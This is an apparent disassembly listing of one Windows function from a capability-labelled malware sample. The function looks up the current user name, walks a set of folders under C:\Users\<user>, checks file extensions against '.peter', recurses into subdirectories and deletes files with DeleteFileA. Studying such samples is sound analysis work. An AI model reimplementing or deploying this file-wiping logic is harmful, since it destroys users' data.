Function at 0x1400034e0
Capabilities:
Delete file
Enumerate files on windows
Get session user name

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x378
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x2f0], 0xfffffffffffffffe
lea rax, [0x1400216eb]
mov qword [rbp + 0xf0], rax
mov qword [rbp + 0xf8], 8
lea rax, [0x140021661]
mov qword [rbp + 0x100], rax
mov qword [rbp + 0x108], 7
lea rax, [0x140021668]
mov qword [rbp + 0x110], rax
mov qword [rbp + 0x118], 9
lea rax, [0x140021671]
mov qword [rbp + 0x120], rax
mov qword [rbp + 0x128], 9
lea rax, [0x14002167a]
mov qword [rbp + 0x130], rax
mov qword [rbp + 0x138], 9
lea rax, [0x140021683]
mov qword [rbp + 0x140], rax
mov qword [rbp + 0x148], 5
lea rax, [0x140021688]
mov qword [rbp + 0x150], rax
mov qword [rbp + 0x158], 0x14
lea rax, [0x14002169c]
mov qword [rbp + 0x160], rax
mov qword [rbp + 0x168], 0x10
lea rax, [0x1400216ac]
mov qword [rbp + 0x170], rax
mov qword [rbp + 0x178], 0x12
lea rax, [0x1400216be]
mov qword [rbp + 0x180], rax
mov qword [rbp + 0x188], 0x11
lea rax, [0x1400216cf]
mov qword [rbp + 0x190], rax
mov qword [rbp + 0x198], 0xe
lea rax, [0x1400216dd]
mov qword [rbp + 0x1a0], rax
mov qword [rbp + 0x1a8], 8
lea rax, [0x1400216e5]
mov qword [rbp + 0x1b0], rax
mov qword [rbp + 0x1b8], 6
mov dword [rbp + 0x2a4], 0
mov qword [rbp + 0x1c8], 0
mov qword [rbp + 0x1d0], 1
mov qword [rbp + 0x1d8], 0
mov qword [rbp + 0x200], 0
mov qword [rbp + 0x208], 1
mov byte [rbp + 0x2ee], 1
lea rdx, [rbp + 0x2a4]
xor ecx, ecx
call sub.ADVAPI32.dll_GetUserNameA
mov edi, dword [rbp + 0x2a4]
test rdi, rdi
je 0x1400036f8
mov byte [rbp + 0x2ee], 1
lea rcx, [rbp + 0x1c8]
xor edx, edx
mov r8, rdi
call fcn.14001fd50
mov rsi, qword [rbp + 0x1d0]
mov rbx, qword [rbp + 0x1d8]
lea rcx, [rsi + rbx]
cmp edi, 2
jb 0x1400036f0
lea r8, [rdi - 1]
xor edx, edx
call sub.VCRUNTIME140.dll_memset
add rbx, rdi
dec rbx
lea rcx, [rsi + rbx]
mov byte [rcx], 0
inc rbx
jmp 0x1400036ff
xor ebx, ebx
mov esi, 1
mov qword [rbp + 0x1d8], rbx
mov byte [rbp + 0x2ee], 1
lea rdx, [rbp + 0x2a4]
mov rcx, rsi
call sub.ADVAPI32.dll_GetUserNameA
mov rsi, qword [rbp + 0x1d8]
mov qword [rbp + 0x210], rsi
movups xmm0, xmmword [rbp + 0x1c8]
movaps xmmword [rbp + 0x200], xmm0
mov eax, dword [rbp + 0x2a4]
dec eax
mov rdi, rax
sub rdi, rsi
jbe 0x1400037a8
mov rax, qword [rbp + 0x200]
sub rax, rsi
cmp rax, rdi
jae 0x140003777
mov byte [rbp + 0x2ee], 0
lea rcx, [rbp + 0x200]
mov rdx, rsi
mov r8, rdi
call fcn.14001fd50
mov rsi, qword [rbp + 0x210]
mov rbx, qword [rbp + 0x208]
lea rcx, [rbx + rsi]
cmp rdi, 2
jb 0x14000379f
lea r8, [rdi - 1]
xor edx, edx
call sub.VCRUNTIME140.dll_memset
add rsi, rdi
dec rsi
add rbx, rsi
mov rcx, rbx
mov byte [rcx], 0
inc rsi
mov rax, rsi
mov qword [rbp + 0x210], rax
lea rbx, [rbp + 0xe0]
lea r15, [rbp + 0x220]
lea r12, [rbp + 0x260]
xor esi, esi
jmp 0x1400037d3
inc rsi
cmp rsi, 0xd
je 0x14000414d
mov qword [rbp + 0x1c0], rsi
movzx eax, byte [0x14002c131]
mov ecx, 9
mov edx, 1
call fcn.140007c00
test rax, rax
je 0x140004325
mov rdi, rax
movabs rax, 0x73726573555c3a43
mov qword [rdi], rax
mov byte [rdi + 8], 0x5c
mov qword [rbp + 0x288], 9
mov qword [rbp + 0x290], rdi
mov qword [rbp + 0x298], 9
mov rdx, qword [rbp + 0x208]
mov r8, qword [rbp + 0x210]
lea rcx, [rbp - 0x50]
call fcn.14001d000
cmp qword [rbp - 0x50], 0
jne 0x14000437d
mov r13, qword [rbp - 0x48]
mov r14, qword [rbp - 0x40]
test r14, r14
je 0x1400038a0
mov edx, 9
lea rcx, [rbp + 0x288]
mov r8, r14
call fcn.14001fd50
mov rsi, qword [rbp + 0x298]
mov rax, qword [rbp + 0x288]
mov qword [rbp + 0x2d8], rax
mov rdi, qword [rbp + 0x290]
jmp 0x1400038b1
mov eax, 9
mov qword [rbp + 0x2d8], rax
mov esi, 9
lea rcx, [rdi + rsi]
mov rdx, r13
mov r8, r14
call sub.VCRUNTIME140.dll_memcpy
add rsi, r14
mov qword [rbp + 0x298], rsi
mov rdx, qword [rbp + 0x2d8]
cmp rdx, rsi
jne 0x1400038f6
mov r8d, 1
lea rcx, [rbp + 0x288]
call fcn.14001fd50
mov rdi, qword [rbp + 0x290]
mov rsi, qword [rbp + 0x298]
mov rax, qword [rbp + 0x1c0]
shl rax, 4
lea rcx, [rax + rbp]
add rcx, 0xf0
mov byte [rdi + rsi], 0x5c
inc rsi
mov qword [rbp + 0x298], rsi
mov r14, qword [rcx]
mov rdi, qword [rbp + rax + 0xf8]
mov r13, qword [rbp + 0x288]
mov rax, r13
sub rax, rsi
cmp rax, rdi
jae 0x140003960
lea rcx, [rbp + 0x288]
mov rdx, rsi
mov r8, rdi
call fcn.14001fd50
mov rdx, r14
mov r13, qword [rbp + 0x288]
mov rsi, qword [rbp + 0x298]
jmp 0x140003963
mov rdx, r14
mov r14, qword [rbp + 0x290]
lea rcx, [r14 + rsi]
mov r8, rdi
call sub.VCRUNTIME140.dll_memcpy
add rsi, rdi
mov qword [rbp + 0x298], rsi
sub r13, rsi
cmp r13, 1
ja 0x1400039ac
mov r8d, 2
lea rcx, [rbp + 0x288]
mov rdx, rsi
call fcn.14001fd50
mov r14, qword [rbp + 0x290]
mov rsi, qword [rbp + 0x298]
mov word [r14 + rsi], 0x2a5c
add rsi, 2
mov qword [rbp + 0x298], rsi
lea rcx, [rbp + 0x2b0]
mov rdx, r14
mov r8, rsi
call fcn.14001a150
movabs rax, 0x8000000000000000
cmp qword [rbp + 0x2b0], rax
jne 0x14000433d
mov rsi, qword [rbp + 0x2b8]
mov rax, qword [rbp + 0x2c0]
mov qword [rbp + 0x1e0], rax
mov r8d, 0x13e
lea rdi, [rbp - 0x50]
mov rcx, rdi
xor edx, edx
call sub.VCRUNTIME140.dll_memset
mov qword [rbp + 0x1f0], rsi
mov rcx, rsi
mov rdx, rdi
call sub.KERNEL32.dll_FindFirstFileA
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x1400040fe
mov rax, qword [rbp + 0x1e0]
lea rcx, [rax - 1]
mov qword [rbp + 0x1f8], rcx
lea r14, [rax - 2]
nop word cs:[rax + rax]
mov qword [rbp + 0x260], 0
mov qword [rbp + 0x268], 1
xor r8d, r8d
lea rsi, [rbp - 0x24]
jmp 0x140003a8f
mov r8, qword [rbp + 0x270]
inc rsi
mov rax, qword [rbp + 0x268]
mov byte [rax + r8], r13b
mov r8, qword [rbp + 0x270]
inc r8
mov qword [rbp + 0x270], r8
cmp rsi, rbx
je 0x140003ac0
movzx r13d, byte [rsi]
test r13b, r13b
je 0x140003ac0
cmp r8, qword [rbp + 0x260]
jne 0x140003a77
mov rcx, r12
mov rdx, r8
call fcn.140007a90
jmp 0x140003a70
test byte [rbp - 0x50], 0x10
jne 0x140003be0
cmp r14, qword [rbp + 0x1f8]
ja 0x1400041a4
mov rax, qword [rbp + 0x268]
mov rcx, qword [rbp + 0x1f0]
mov qword [rbp + 0x2b0], rcx
mov qword [rbp + 0x2b8], r14
mov qword [rbp + 0x2c0], rax
mov qword [rbp + 0x2c8], r8
mov r8d, 2
lea rcx, [rbp + 0x240]
lea rdx, [rbp + 0x2b0]
call fcn.140004bd0
mov r8, qword [rbp + 0x248]
mov rcx, qword [rbp + 0x250]
mov rax, rcx
nop dword [rax + rax]
test rax, rax
je 0x140004180
lea rdx, [rax - 1]
cmp byte [r8 + rax - 1], 0x2e
mov rax, rdx
jne 0x140003b30
mov qword [rbp + 0x220], 0
mov qword [rbp + 0x228], 1
xor esi, esi
mov qword [rbp + 0x2a8], r8
mov qword [rbp + 0x2d8], rcx
jmp 0x140003ba4
mov rsi, qword [rbp + 0x230]
mov rdx, qword [rbp + 0x280]
mov r8, qword [rbp + 0x2a8]
inc rdx
mov rax, qword [rbp + 0x228]
mov byte [rax + rsi], r13b
mov rsi, qword [rbp + 0x230]
inc rsi
mov rcx, qword [rbp + 0x2d8]
mov qword [rbp + 0x230], rsi
cmp rdx, rcx
jae 0x140003c40
movzx r13d, byte [r8 + rdx]
cmp rsi, qword [rbp + 0x220]
jne 0x140003b85
mov qword [rbp + 0x280], rdx
mov byte [rbp + 0x2ef], 1
mov rcx, r15
mov rdx, rsi
call fcn.140007a90
jmp 0x140003b70
mov rdx, qword [rbp + 0x268]
lea rcx, [rbp + 0x2b0]
call fcn.14001d000
cmp qword [rbp + 0x2b0], 0
jne 0x1400041bf
mov rax, qword [rbp + 0x270]
cmp rax, 2
je 0x140003d5c
cmp rax, 1
jne 0x140003d80
mov rcx, qword [rbp + 0x268]
cmp byte [rcx], 0x2e
jne 0x140003d80
jmp 0x140003fcc
mov qword [rbp + 0x280], rdx
mov rax, qword [rbp + 0x220]
mov qword [rbp + 0x2e0], rax
mov rdx, qword [rbp + 0x228]
lea rcx, [rbp + 0x2b0]
mov qword [rbp + 0x278], rdx
mov r8, rsi
call fcn.14001d000
cmp qword [rbp + 0x2b0], 0
je 0x140003cb2
movabs rax, 0x8000000000000000
mov rcx, qword [rbp + 0x2e0]
cmp rcx, rax
jne 0x14000422c
mov rax, qword [rbp + 0x278]
mov qword [rbp + 0x2e0], rax
mov qword [rbp + 0x278], rsi
mov rsi, qword [rbp + 0x2b8]
movzx eax, byte [0x14002c131]
mov ecx, 6
mov edx, 1
call fcn.140007c00
test rax, rax
mov r13, qword [rbp + 0x2d8]
je 0x1400041fd
mov word [rax + 4], 0x7265
mov dword [rax], 0x7465702e
cmp rsi, 6
mov rsi, qword [rbp + 0x278]
jne 0x140003d08
mov ecx, dword [rsi]
xor ecx, dword [rax]
movzx edx, word [rsi + 4]
xor dx, word [rax + 4]
movzx edx, dx
or edx, ecx
je 0x140003ef6
mov edx, 6
mov r8d, 1
mov rcx, rax
call fcn.140007c10
mov rdx, qword [rbp + 0x2e0]
test rdx, rdx
je 0x140003d35
mov r8d, 1
mov rcx, rsi
call fcn.140007c10
mov rdx, qword [rbp + 0x240]
test rdx, rdx
je 0x140003fcc
mov r8d, 1
mov rcx, qword [rbp + 0x2a8]
call fcn.140007c10
jmp 0x140003fcc
mov rcx, qword [rbp + 0x268]
cmp byte [rcx], 0x2e
jne 0x140003d80
cmp byte [rcx + 1], 0x2e
je 0x140003fcc
nop word cs:[rax + rax]
cmp r14, qword [rbp + 0x1f8]
ja 0x140004211
mov rcx, qword [rbp + 0x268]
mov rdx, qword [rbp + 0x1f0]
mov qword [rbp + 0x2b0], rdx
mov qword [rbp + 0x2b8], r14
mov qword [rbp + 0x2c0], rcx
mov qword [rbp + 0x2c8], rax
mov r8d, 2
lea rcx, [rbp + 0x240]
lea rdx, [rbp + 0x2b0]
call fcn.140004bd0
mov rsi, qword [rbp + 0x248]
mov rax, qword [rbp + 0x250]
mov qword [rbp + 0x2b0], rsi
mov qword [rbp + 0x2b8], rax
lea rax, [0x140021768]
mov qword [rbp + 0x2c0], rax
mov qword [rbp + 0x2c8], 2
mov qword [rbp + 0x1e8], rsi
mov byte [rbp + 0x2ed], 1
mov r8d, 2
mov rcx, r15
lea rdx, [rbp + 0x2b0]
call fcn.140004bd0
mov rdx, qword [rbp + 0x240]
test rdx, rdx
je 0x140003e42
mov r8d, 1
mov rcx, rsi
call fcn.140007c10
mov rsi, qword [rbp + 0x230]
mov qword [rbp + 0x250], rsi
movups xmm0, xmmword [rbp + 0x220]
movaps xmmword [rbp + 0x240], xmm0
mov rcx, qword [rbp + 0x240]
mov r8, qword [rbp + 0x248]
cmp rsi, 0x10
jae 0x140003ea2
xor edx, edx
test rsi, rsi
je 0x140003e96
nop dword [rax]
cmp byte [r8 + rdx], 0
je 0x140003f65
inc rdx
cmp rsi, rdx
jne 0x140003e80
mov rdx, rsi
xor eax, eax
test rax, rax
jne 0x140003edb
jmp 0x140003f73
mov qword [rbp + 0x280], rcx
mov byte [rbp + 0x2ea], 0
xor ecx, ecx
mov qword [rbp + 0x2d8], r8
mov rdx, r8
mov r8, rsi
call fcn.14001cde0
mov r8, qword [rbp + 0x2d8]
mov rcx, qword [rbp + 0x280]
test rax, rax
je 0x140003f73
movabs rax, 0x8000000000000000
cmp rcx, rax
jne 0x140004286
mov rax, r8
jmp 0x140003fb3
mov edx, 6
mov r8d, 1
mov rcx, rax
call fcn.140007c10
mov rdx, qword [rbp + 0x2e0]
test rdx, rdx
je 0x140003f23
mov r8d, 1
mov rcx, rsi
call fcn.140007c10
mov r8, qword [rbp + 0x240]
cmp r13, 0xf
ja 0x140004007
xor edx, edx
mov rcx, qword [rbp + 0x2a8]
nop dword [rax]
cmp byte [rcx + rdx], 0
je 0x14000405c
inc rdx
cmp r13, rdx
jne 0x140003f40
mov rdx, r13
xor eax, eax
test rax, rax
jne 0x140004040
jmp 0x140004066
mov eax, 1
test rax, rax
jne 0x140003edb
mov qword [rbp + 0x280], rcx
mov qword [rbp + 0x2b0], rcx
mov qword [rbp + 0x2d8], r8
mov qword [rbp + 0x2b8], r8
mov qword [rbp + 0x2c0], rsi
mov byte [rbp + 0x2ea], 1
lea rcx, [rbp + 0x2b0]
call fcn.14001a320
mov rsi, rdx
mov r8, qword [rbp + 0x2d8]
mov qword [rbp + 0x1e8], r8
mov byte [rbp + 0x2ed], 0
mov rcx, rax
mov rdx, rsi
call fcn.140002370
mov rcx, rdi
lea rdx, [rbp - 0x50]
call sub.KERNEL32.dll_FindNextFileA
test eax, eax
je 0x1400040e0
mov rdx, qword [rbp + 0x260]
test rdx, rdx
je 0x140003a50
mov rcx, qword [rbp + 0x268]
mov r8d, 1
call fcn.140007c10
jmp 0x140003a50
mov qword [rbp + 0x2e0], r8
mov byte [rbp + 0x2eb], 0
xor ecx, ecx
mov rdx, qword [rbp + 0x2a8]
mov r8, r13
call fcn.14001cde0
mov r13, qword [rbp + 0x2d8]
mov rcx, qword [rbp + 0x2a8]
mov r8, qword [rbp + 0x2e0]
test rax, rax
je 0x140004066
movabs rax, 0x8000000000000000
cmp r8, rax
jne 0x1400042d9
mov qword [rbp + 0x2e0], r13
jmp 0x14000409f
mov eax, 1
test rax, rax
jne 0x140004040
mov qword [rbp + 0x2e0], r8
mov qword [rbp + 0x2b0], r8
mov qword [rbp + 0x2b8], rcx
mov qword [rbp + 0x2c0], r13
mov byte [rbp + 0x2eb], 1
lea rcx, [rbp + 0x2b0]
call fcn.14001a320
mov qword [rbp + 0x2e0], rdx
mov rcx, rax
mov qword [rbp + 0x2a8], rcx
call sub.KERNEL32.dll_DeleteFileA
mov rcx, qword [rbp + 0x2a8]
mov byte [rcx], 0
mov rdx, qword [rbp + 0x2e0]
test rdx, rdx
je 0x140003fcc
mov r8d, 1
call fcn.140007c10
jmp 0x140003fcc
mov rdx, qword [rbp + 0x260]
test rdx, rdx
je 0x1400040fe
mov rcx, qword [rbp + 0x268]
mov r8d, 1
call fcn.140007c10
mov rcx, qword [rbp + 0x1f0]
mov byte [rcx], 0
mov rdx, qword [rbp + 0x1e0]
test rdx, rdx
je 0x14000411f
mov r8d, 1
call fcn.140007c10
mov rdx, qword [rbp + 0x288]
test rdx, rdx
mov rsi, qword [rbp + 0x1c0]
je 0x1400037d0
mov rcx, qword [rbp + 0x290]
mov r8d, 1
call fcn.140007c10
jmp 0x1400037d0
mov rdx, qword [rbp + 0x200]
test rdx, rdx
je 0x14000416b
mov rcx, qword [rbp + 0x208]
mov r8d, 1
call fcn.140007c10
nop
add rsp, 0x378
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
mov byte [rbp + 0x2ec], 1
lea rcx, [0x1400217a0]
lea r8, [0x1400218f8]
mov edx, 0x2b
call fcn.140020980
jmp 0x1400043b6
lea r8, [0x1400218e0]
mov rcx, r14
mov rdx, qword [rbp + 0x1f8]
call fcn.140020dd0
jmp 0x1400043b6
movups xmm0, xmmword [rbp + 0x2b8]
movaps xmmword [rbp + 0x220], xmm0
lea rax, [0x140021940]
mov qword [rsp + 0x20], rax
lea rcx, [0x140021420]
lea r9, [0x140021490]
lea r8, [rbp + 0x220]
mov edx, 0x2b
call fcn.140020cb0
jmp 0x1400043b6
mov ecx, 1
mov edx, 6
call fcn.1400207c0
jmp 0x1400043b6
lea r8, [0x140021958]
mov rcx, r14
mov rdx, qword [rbp + 0x1f8]
call fcn.140020dd0
jmp 0x1400043b6
movups xmm0, xmmword [rbp + 0x2b8]
mov qword [rbp + 0x2b0], rcx
mov rax, qword [rbp + 0x278]
mov qword [rbp + 0x2b8], rax
mov qword [rbp + 0x2c0], rsi
movups xmmword [rbp + 0x2c8], xmm0
lea rax, [0x140021910]
mov qword [rsp + 0x20], rax
lea rcx, [0x140021420]
lea r9, [0x140021450]
lea r8, [rbp + 0x2b0]
mov edx, 0x2b
call fcn.140020cb0
jmp 0x1400043b6
mov qword [rbp + 0x2b0], rcx
mov qword [rbp + 0x2d8], r8
mov qword [rbp + 0x2b8], r8
mov qword [rbp + 0x2c0], rsi
mov qword [rbp + 0x2c8], rdx
lea rax, [0x140021970]
mov qword [rsp + 0x20], rax
lea rcx, [0x140021420]
lea r9, [0x140021470]
lea r8, [rbp + 0x2b0]
mov edx, 0x2b
call fcn.140020cb0
jmp 0x1400043b6
mov qword [rbp + 0x2b0], r8
mov qword [rbp + 0x2b8], rcx
mov qword [rbp + 0x2c0], r13
mov qword [rbp + 0x2c8], rdx
lea rax, [0x140021928]
mov qword [rsp + 0x20], rax
lea rcx, [0x140021420]
lea r9, [0x140021470]
lea r8, [rbp + 0x2b0]
mov edx, 0x2b
call fcn.140020cb0
jmp 0x1400043b6
mov byte [rbp + 0x2ee], 0
mov ecx, 1
mov edx, 9
call fcn.1400207c0
jmp 0x1400043b6
movups xmm0, xmmword [rbp + 0x2b0]
movups xmm1, xmmword [rbp + 0x2c0]
movaps xmmword [rbp - 0x40], xmm1
movaps xmmword [rbp - 0x50], xmm0
lea rax, [0x1400218c8]
mov qword [rsp + 0x20], rax
lea rcx, [0x140021420]
lea r9, [0x140021470]
lea r8, [rbp - 0x50]
mov edx, 0x2b
call fcn.140020cb0
jmp 0x1400043b6
lea rax, [rbp - 0x48]
movups xmm0, xmmword [rax]
movaps xmmword [rbp + 0x2b0], xmm0
lea rax, [0x1400218b0]
mov qword [rsp + 0x20], rax
lea rcx, [0x140021420]
lea r9, [0x140021490]
lea r8, [rbp + 0x2b0]
mov edx, 0x2b
call fcn.140020cb0
ud2